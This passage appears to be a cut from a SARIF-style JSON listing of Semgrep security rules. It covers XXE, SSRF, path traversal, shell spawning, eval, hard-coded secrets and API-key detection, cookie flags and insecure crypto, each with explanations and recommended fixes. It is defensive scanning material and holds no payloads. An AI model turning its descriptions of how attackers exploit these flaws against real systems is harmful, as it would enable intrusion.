use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher","id":"kotlin.lang.security.ecb-cipher.ecb-cipher","name":"kotlin.lang.security.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express)\n - [https://github.com/jprichardson/node-fs-extra/tree/master](https://github.com/jprichardson/node-fs-extra/tree/master)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express","id":"javascript.express.file.fs-extra-express.fs-extra-express","name":"javascript.express.file.fs-extra-express.fs-extra-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-extra-express.fs-extra-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"help":{"markdown":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode)\n","text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"help":{"markdown":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","id":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","name":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.spawn-shell-true.spawn-shell-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"help":{"markdown":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","id":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","name":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","id":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","name":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"help":{"markdown":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"helpUri":"https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format","id":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","name":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.flask-api-method-string-format.flask-api-method-string-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host","id":"python.flask.security.injection.tainted-url-host.tainted-url-host","name":"python.flask.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec","id":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","name":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-code-exec.tainted-code-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.playframework.com/documentation/2.8.x/ScalaWS](https://www.playframework.com/documentation/2.8.x/ScalaWS)\n","text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf","id":"scala.play.security.webservice-ssrf.webservice-ssrf","name":"scala.play.security.webservice-ssrf.webservice-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.webservice-ssrf.webservice-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"MailChimp API Key detected"},"help":{"markdown":"MailChimp API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"MailChimp API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","id":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","name":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","id":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","name":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request)\n - [https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html](https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html)\n","text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"help":{"markdown":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find)\n - [https://brakemanscanner.org/docs/warning_types/unscoped_find/](https://brakemanscanner.org/docs/warning_types/unscoped_find/)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb)\n","text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","id":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","name":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","properties":{"precision":"very-high","tags":["CWE-639: Authorization Bypass Through User-Controlled Key","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","id":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","name":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"help":{"markdown":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie](https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options](https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options)\n","text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie","id":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","name":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.secure-set-cookie.secure-set-cookie"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, 